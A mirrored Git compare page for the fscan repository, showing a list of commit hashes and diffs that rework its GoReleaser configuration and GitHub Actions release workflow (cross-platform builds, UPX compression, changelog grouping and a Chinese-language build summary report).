mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 19:21:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a66de1bff0 | ||
|
|
9b38dc0006 | ||
|
|
0f491bc9d0 | ||
|
|
a518e80185 | ||
|
|
1d6f411677 | ||
|
|
33f2b36186 | ||
|
|
03b21f92f1 | ||
|
|
2674e469b8 | ||
|
|
d4a486763b | ||
|
|
6fe1f11e36 | ||
|
|
6f17deb963 | ||
|
|
820ba6a35b | ||
|
|
5bdfd769f2 | ||
|
|
b6b898532b | ||
|
|
5dd74269a8 | ||
|
|
26d0955ec6 | ||
|
|
a198aeabe5 | ||
|
|
f182732a8b | ||
|
|
b49228a07b | ||
|
|
3af09b7d8a | ||
|
|
379117b07a | ||
|
|
4adb4222dd | ||
|
|
dd8e327a56 | ||
|
|
ad5798d02e | ||
|
|
3c8511e91f | ||
|
|
d5e2c15333 | ||
|
|
9967b34fff | ||
|
|
487681b353 | ||
|
|
b1e67fd7b1 | ||
|
|
ac68df70f7 | ||
|
|
76cbdfb5f6 | ||
|
|
c4378545b9 | ||
|
|
5aa2fd3599 | ||
|
|
faa9f319c8 | ||
|
|
25dc6102ed | ||
|
|
0dc4a6c360 | ||
|
|
2b4a4024b8 | ||
|
|
e58a48ba9b | ||
|
|
a8bd8ca508 | ||
|
|
247459a7f7 | ||
|
|
424c654c43 | ||
|
|
7865038b22 | ||
|
|
64588ab28a | ||
|
|
2d9ea9c1d3 | ||
|
|
a30cd12249 | ||
|
|
c074adb3a9 | ||
|
|
f2475bf97c | ||
|
|
580b067298 | ||
|
|
a010fcbb6c | ||
|
|
1f0d11d93e | ||
|
|
a3c5092f9b | ||
|
|
16e40fe7ed | ||
|
|
f921d81a76 | ||
|
|
a1452eb635 | ||
|
|
e4833fd5af | ||
|
|
9092b09b16 | ||
|
|
d90deb0201 | ||
|
|
d1d242e6a8 | ||
|
|
28a64d60c4 | ||
|
|
124d29a6b3 | ||
|
|
4928b4668a | ||
|
|
5dfd0397d5 | ||
|
|
805af82a1e | ||
|
|
875d128e53 | ||
|
|
36134b7298 | ||
|
|
be3affcedd | ||
|
|
165ac8507d | ||
|
|
0d8f31b72d | ||
|
|
77705118d5 | ||
|
|
7da74ebb52 | ||
|
|
a8b83f90a0 | ||
|
|
a2c56ab106 | ||
|
|
b89e892f14 | ||
|
|
f79b12a23c | ||
|
|
b8cc8ab5dc | ||
|
|
b73996884f | ||
|
|
c58b63a6ac | ||
|
|
e4e3ff1763 | ||
|
|
e962b9171b | ||
|
|
2c4e1d9c28 | ||
|
|
e688b42efe | ||
|
|
1e42d41a1c | ||
|
|
87ceba4d8f | ||
|
|
cb6d67ed7b | ||
|
|
5c8088ff32 | ||
|
|
8170515236 | ||
|
|
f27d9b31aa | ||
|
|
d05641a7fc | ||
|
|
3e04e7801f | ||
|
|
4aaa05f6a4 | ||
|
|
42f8052b96 | ||
|
|
150d62824c | ||
|
|
c3219848ef | ||
|
|
7312da8af8 | ||
|
|
3beb6b42b2 | ||
|
|
18aae783c6 | ||
|
|
8e59c8f09c | ||
|
|
3ae0f306c1 | ||
|
|
cc9d292bdd | ||
|
|
46e0472ec1 | ||
|
|
3dde342d65 | ||
|
|
eb8cda3b7f | ||
|
|
bcb326dbef | ||
|
|
102d100c25 | ||
|
|
b8a591920b | ||
|
|
c94ec76292 | ||
|
|
65b94465fe | ||
|
|
d367be0c68 | ||
|
|
cdbc0e02f3 | ||
|
|
f20aadb745 | ||
|
|
97e9ac7161 | ||
|
|
c6c613a17b | ||
|
|
a245934cf2 | ||
|
|
0235bf5af5 | ||
|
|
e2c8dd8b1f | ||
|
|
e624c3092f | ||
|
|
86b6faec79 | ||
|
|
8f2226987d | ||
|
|
a852bc569f | ||
|
|
2da0804b7f | ||
|
|
235e2aee60 | ||
|
|
af06345aa5 | ||
|
|
75aeee5215 | ||
|
|
a42ee523b0 | ||
|
|
a603e13d3b | ||
|
|
ceede3cd68 | ||
|
|
277ea5d332 | ||
|
|
d13e1952e9 | ||
|
|
df4d39fb1f | ||
|
|
e93b6fc613 | ||
|
|
42482228da | ||
|
|
c004762a8c | ||
|
|
ed69e41001 | ||
|
|
5e06a0b2b7 | ||
|
|
2ce7041c95 | ||
|
|
0954492540 | ||
|
|
ee1d176a8f | ||
|
|
ef70395d7d | ||
|
|
907b92863e | ||
|
|
befaa28bbd | ||
|
|
679c25eb38 | ||
|
|
ad9cafe0ad | ||
|
|
40e8f6621d | ||
|
|
fe1b92cc98 | ||
|
|
0a9c732ee8 | ||
|
|
94121a796f | ||
|
|
fa1d787c84 | ||
|
|
1a5f789ba8 | ||
|
|
57b6d41737 | ||
|
|
1f860f22c8 | ||
|
|
6ba42c8c39 | ||
|
|
016dfa7889 | ||
|
|
1906acf551 | ||
|
|
26525dbb0e | ||
|
|
3529efcb24 | ||
|
|
9e8726e1f8 | ||
|
|
5524300824 | ||
|
|
c62e19ad26 | ||
|
|
7bded7bc31 | ||
|
|
8f5d0caaf2 | ||
|
|
46f9ab84b1 | ||
|
|
04ee3afb07 | ||
|
|
a5738304a1 | ||
|
|
66e52791f7 | ||
|
|
760246b7e0 | ||
|
|
ee8f52c199 | ||
|
|
dfe74fc5b4 | ||
|
|
f06013326f | ||
|
|
4d6b529768 | ||
|
|
bbbc4317df | ||
|
|
1b9c9a00fe | ||
|
|
cfea0afd9c | ||
|
|
70d008ba69 | ||
|
|
eb1b0f32a6 | ||
|
|
e70a1a7bd2 | ||
|
|
8be8f94d82 | ||
|
|
2e3ccee2e0 | ||
|
|
eab41f6018 | ||
|
|
c5dcf2c633 | ||
|
|
d192b7fc2a | ||
|
|
44c1a207dd | ||
|
|
33cb33b1ad | ||
|
|
17c85431ca | ||
|
|
8767c9bae4 | ||
|
|
2bfd58663c | ||
|
|
b7d4e185aa | ||
|
|
497bc2e86b | ||
|
|
9cd137c099 | ||
|
|
1313916081 | ||
|
|
e7d9354284 | ||
|
|
5789017d1a | ||
|
|
878595e341 | ||
|
|
c7b6e21d39 | ||
|
|
e6545417b8 | ||
|
|
3fe6e3eec5 | ||
|
|
5190d63680 | ||
|
|
daec3c1ca4 | ||
|
|
763da727ac | ||
|
|
92217f572f | ||
|
|
bf1b45f407 | ||
|
|
672dfee2ac | ||
|
|
57e0cc06e1 | ||
|
|
375a1e4673 | ||
|
|
8f1c5dbae9 | ||
|
|
92c03e95a9 | ||
|
|
4da94448cb | ||
|
|
2f7d020e9f | ||
|
|
9c0fcd98fe | ||
|
|
1278a0355f | ||
|
|
0152428748 | ||
|
|
bdeabec67e | ||
|
|
c0b7f4ca4f | ||
|
|
ef2c20bf4e | ||
|
|
2481ca4184 | ||
|
|
9ee51a96d8 |
@@ -1,64 +1,125 @@
|
|||||||
|
# 项目名称 - 直接使用环境变量
|
||||||
|
project_name: "{{ .Env.PROJECT_NAME }}"
|
||||||
|
|
||||||
|
# 构建前钩子
|
||||||
before:
|
before:
|
||||||
hooks:
|
hooks:
|
||||||
- go mod tidy
|
- go mod tidy
|
||||||
|
- go mod download
|
||||||
|
|
||||||
|
# 构建配置
|
||||||
builds:
|
builds:
|
||||||
-
|
- id: default
|
||||||
id: default
|
binary: "{{ .ProjectName }}"
|
||||||
env:
|
env:
|
||||||
- CGO_ENABLED=0
|
- CGO_ENABLED=0
|
||||||
goos:
|
goos:
|
||||||
- windows
|
- windows
|
||||||
- linux
|
- linux
|
||||||
- darwin
|
- darwin
|
||||||
- freebsd
|
|
||||||
- solaris
|
|
||||||
goarch:
|
goarch:
|
||||||
- amd64
|
- amd64
|
||||||
- "386"
|
|
||||||
- arm
|
|
||||||
- arm64
|
- arm64
|
||||||
- mips
|
- "386"
|
||||||
- mipsle
|
|
||||||
- mips64
|
|
||||||
goarm:
|
goarm:
|
||||||
- "6"
|
|
||||||
- "7"
|
- "7"
|
||||||
|
ignore:
|
||||||
|
- goos: darwin
|
||||||
|
goarch: "386"
|
||||||
|
- goos: windows
|
||||||
|
goarch: arm64
|
||||||
flags:
|
flags:
|
||||||
- -trimpath
|
- -trimpath
|
||||||
ldflags:
|
ldflags:
|
||||||
- -s -w
|
- -s -w
|
||||||
|
- -X main.version={{ .Version }}
|
||||||
|
- -X main.commit={{ .ShortCommit }}
|
||||||
|
- -X main.date={{ .Date }}
|
||||||
|
- -X main.builtBy=goreleaser
|
||||||
|
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||||
|
|
||||||
|
# UPX 压缩
|
||||||
upx:
|
upx:
|
||||||
-
|
- ids: [default]
|
||||||
ids: [ default ]
|
|
||||||
enabled: true
|
enabled: true
|
||||||
goos: ["windows", "linux"]
|
goos: ["windows", "linux"]
|
||||||
goarch: ["amd64", "386"]
|
goarch: ["amd64", "386"]
|
||||||
compress: best
|
compress: best
|
||||||
# lzma: true
|
brute: false
|
||||||
# brute: true
|
lzma: false
|
||||||
|
|
||||||
|
# 归档配置
|
||||||
archives:
|
archives:
|
||||||
-
|
- id: default
|
||||||
format: binary
|
format: binary
|
||||||
allow_different_binary_count: true
|
allow_different_binary_count: true
|
||||||
name_template: >-
|
name_template: >-
|
||||||
{{- .ProjectName }}
|
{{ .ProjectName }}_{{ .Version }}_
|
||||||
{{- if eq .Os "darwin"}}_mac
|
{{- if eq .Os "darwin" }}mac
|
||||||
{{- else if eq .Os "linux"}}
|
{{- else }}{{ .Os }}{{ end }}_
|
||||||
{{- else if eq .Os "windows"}}
|
{{- if eq .Arch "amd64" }}x64
|
||||||
{{- else }}_{{ .Os }}{{ end }}
|
{{- else if eq .Arch "386" }}x32
|
||||||
{{- if eq .Arch "amd64" }}
|
{{- else }}{{ .Arch }}{{ end }}
|
||||||
{{- else if eq .Arch "386" }}32
|
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||||
{{- else }}_{{ .Arch }}{{ end }}
|
{{- if eq .Os "windows" }}.exe{{ end }}
|
||||||
{{- if .Arm }}v{{ .Arm }}{{ end -}}
|
|
||||||
|
# 校验和
|
||||||
checksum:
|
checksum:
|
||||||
name_template: 'checksums.txt'
|
name_template: 'checksums.txt'
|
||||||
snapshot:
|
algorithm: sha256
|
||||||
name_template: "{{ incpatch .Version }}-next"
|
|
||||||
|
# 变更日志
|
||||||
changelog:
|
changelog:
|
||||||
sort: asc
|
sort: asc
|
||||||
|
use: github
|
||||||
filters:
|
filters:
|
||||||
exclude:
|
exclude:
|
||||||
- '^docs:'
|
- "^docs:"
|
||||||
- '^test:'
|
- "^test:"
|
||||||
- "^*.md"
|
- "^ci:"
|
||||||
- "^*.ya?ml"
|
- "^chore:"
|
||||||
|
- "Merge pull request"
|
||||||
|
- "Merge branch"
|
||||||
|
groups:
|
||||||
|
- title: "🚀 新功能"
|
||||||
|
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||||
|
order: 0
|
||||||
|
- title: "🐛 问题修复"
|
||||||
|
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||||
|
order: 1
|
||||||
|
- title: "📚 文档更新"
|
||||||
|
regexp: "^.*docs[(\\w)]*:+.*$"
|
||||||
|
order: 2
|
||||||
|
- title: "🔧 其他改进"
|
||||||
|
order: 999
|
||||||
|
|
||||||
|
# 发布配置
|
||||||
|
release:
|
||||||
|
github:
|
||||||
|
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||||
|
name: "{{ .Env.GITHUB_REPO }}"
|
||||||
|
draft: false
|
||||||
|
prerelease: auto
|
||||||
|
mode: replace
|
||||||
|
header: |
|
||||||
|
## 🎉 {{ .ProjectName }} {{ .Tag }} 发布说明
|
||||||
|
|
||||||
|
感谢使用 {{ .ProjectName }}!本次发布包含以下改进:
|
||||||
|
footer: |
|
||||||
|
## 📥 安装说明
|
||||||
|
|
||||||
|
下载对应平台的二进制文件即可使用。
|
||||||
|
|
||||||
|
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
如有问题请提交 [Issue](https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/issues) 💬
|
||||||
|
|
||||||
|
# 快照版本
|
||||||
|
snapshot:
|
||||||
|
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||||
|
|
||||||
|
# 元数据
|
||||||
|
metadata:
|
||||||
|
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||||
+270
-16
@@ -1,43 +1,297 @@
|
|||||||
name: goreleaser
|
name: 发布构建
|
||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
tags:
|
tags:
|
||||||
- '*'
|
- 'v*'
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
tag:
|
||||||
|
description: '发布标签'
|
||||||
|
required: true
|
||||||
|
default: 'v1.0.0'
|
||||||
|
draft:
|
||||||
|
description: '创建草稿发布'
|
||||||
|
type: boolean
|
||||||
|
default: false
|
||||||
|
prerelease:
|
||||||
|
description: '标记为预发布'
|
||||||
|
type: boolean
|
||||||
|
default: false
|
||||||
|
|
||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
|
issues: write
|
||||||
|
pull-requests: write
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
goreleaser:
|
goreleaser:
|
||||||
|
name: 构建和发布
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
timeout-minutes: 60
|
timeout-minutes: 60
|
||||||
|
|
||||||
|
# 设置作业级别的环境变量
|
||||||
|
env:
|
||||||
|
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||||
|
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||||
|
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- name: "Check out code"
|
- name: 📥 检出代码
|
||||||
uses: actions/checkout@v3
|
uses: actions/checkout@v4
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
|
token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: "Set up Go"
|
- name: 🔍 获取项目信息
|
||||||
uses: actions/setup-go@v4
|
id: project
|
||||||
|
run: |
|
||||||
|
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
||||||
|
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
||||||
|
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
||||||
|
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
||||||
|
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
||||||
|
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: 🐹 设置 Go 环境
|
||||||
|
uses: actions/setup-go@v5
|
||||||
with:
|
with:
|
||||||
go-version: 1.20.14
|
go-version: '1.20'
|
||||||
-
|
cache: true
|
||||||
name: Install UPX
|
|
||||||
|
- name: 📦 下载依赖
|
||||||
|
run: |
|
||||||
|
go mod download
|
||||||
|
go mod verify
|
||||||
|
|
||||||
|
- name: 🗜️ 安装 UPX 压缩工具
|
||||||
uses: crazy-max/ghaction-upx@v3
|
uses: crazy-max/ghaction-upx@v3
|
||||||
with:
|
with:
|
||||||
install-only: true
|
install-only: true
|
||||||
|
|
||||||
- name: UPX version
|
- name: ℹ️ 显示构建环境信息
|
||||||
run: upx --version
|
run: |
|
||||||
|
echo "Go 版本: $(go version)"
|
||||||
|
echo "UPX 版本: $(upx --version)"
|
||||||
|
echo "Git 标签: ${{ steps.project.outputs.version }}"
|
||||||
|
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
||||||
|
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
||||||
|
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
||||||
|
echo "环境变量:"
|
||||||
|
echo "- GITHUB_OWNER: $GITHUB_OWNER"
|
||||||
|
echo "- GITHUB_REPO: $GITHUB_REPO"
|
||||||
|
echo "- PROJECT_NAME: $PROJECT_NAME"
|
||||||
|
|
||||||
-
|
- name: 📊 记录构建开始时间
|
||||||
name: "Create release on GitHub"
|
id: build_start
|
||||||
uses: goreleaser/goreleaser-action@v4
|
run: |
|
||||||
|
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: 🚀 构建和发布
|
||||||
|
id: build_step
|
||||||
|
uses: goreleaser/goreleaser-action@v5
|
||||||
with:
|
with:
|
||||||
distribution: goreleaser
|
distribution: goreleaser
|
||||||
version: latest
|
version: latest
|
||||||
args: "release --clean --debug -f .github/conf/.goreleaser.yml"
|
args: release --clean -f .github/conf/.goreleaser.yml ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}
|
||||||
workdir: .
|
workdir: .
|
||||||
env:
|
env:
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||||
|
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||||
|
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: 📊 记录构建结束时间
|
||||||
|
id: build_end
|
||||||
|
run: |
|
||||||
|
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
start_time=${{ steps.build_start.outputs.start_time }}
|
||||||
|
end_time=$(date +%s)
|
||||||
|
duration=$((end_time - start_time))
|
||||||
|
echo "duration=${duration}" >> $GITHUB_OUTPUT
|
||||||
|
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: 📋 上传构建产物
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
if: always()
|
||||||
|
with:
|
||||||
|
name: 构建产物-${{ steps.project.outputs.version }}
|
||||||
|
path: |
|
||||||
|
dist/
|
||||||
|
retention-days: 30
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: 📊 统计构建产物
|
||||||
|
id: build_stats
|
||||||
|
run: |
|
||||||
|
if [ -d "dist" ]; then
|
||||||
|
total_files=$(find dist/ -type f | wc -l)
|
||||||
|
executable_files=$(find dist/ -type f -executable | wc -l)
|
||||||
|
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
|
||||||
|
|
||||||
|
# 平台统计
|
||||||
|
linux_count=$(find dist/ -name "*linux*" -type f | wc -l)
|
||||||
|
darwin_count=$(find dist/ -name "*darwin*" -type f | wc -l)
|
||||||
|
windows_count=$(find dist/ -name "*windows*" -type f | wc -l)
|
||||||
|
|
||||||
|
echo "total_files=$total_files" >> $GITHUB_OUTPUT
|
||||||
|
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
|
||||||
|
echo "config_files=$config_files" >> $GITHUB_OUTPUT
|
||||||
|
echo "linux_count=$linux_count" >> $GITHUB_OUTPUT
|
||||||
|
echo "darwin_count=$darwin_count" >> $GITHUB_OUTPUT
|
||||||
|
echo "windows_count=$windows_count" >> $GITHUB_OUTPUT
|
||||||
|
else
|
||||||
|
echo "total_files=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "executable_files=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "config_files=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "linux_count=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "darwin_count=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "windows_count=0" >> $GITHUB_OUTPUT
|
||||||
|
fi
|
||||||
|
|
||||||
|
- name: 📊 生成发布报告
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
# 构建状态判断
|
||||||
|
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||||
|
build_status=""
|
||||||
|
release_status=""
|
||||||
|
else
|
||||||
|
build_status=""
|
||||||
|
release_status=""
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "# 🎉 发布构建报告" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "$build_status $release_status" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 基本信息
|
||||||
|
echo "## 📋 发布基本信息" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🏷️ **版本** | \`${{ steps.project.outputs.version }}\` |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 构建环境信息
|
||||||
|
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 构建时间统计
|
||||||
|
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 构建结果
|
||||||
|
echo "## 🚀 构建结果" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 构建阶段 | 状态 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||||
|
echo "| 🏗️ **构建发布** | ✅ 成功 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
else
|
||||||
|
echo "| 🏗️ **构建发布** | ❌ 失败 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 发布产物统计
|
||||||
|
if [ -d "dist" ]; then
|
||||||
|
echo "## 📦 发布产物统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 文件类型统计
|
||||||
|
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 平台分布统计
|
||||||
|
echo "### 🌍 平台分布统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 平台 | 数量 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🐧 **Linux** | ${{ steps.build_stats.outputs.linux_count }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🍎 **macOS** | ${{ steps.build_stats.outputs.darwin_count }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🪟 **Windows** | ${{ steps.build_stats.outputs.windows_count }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 总产物大小
|
||||||
|
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
|
||||||
|
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 发布总结
|
||||||
|
echo "## 📈 发布总结" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||||
|
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "🎉 **发布状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "🔗 **发布链接**: https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }}" >> $GITHUB_STEP_SUMMARY
|
||||||
|
else
|
||||||
|
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "🎉 **发布状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 快速链接
|
||||||
|
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 🎯 [查看发布页面](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
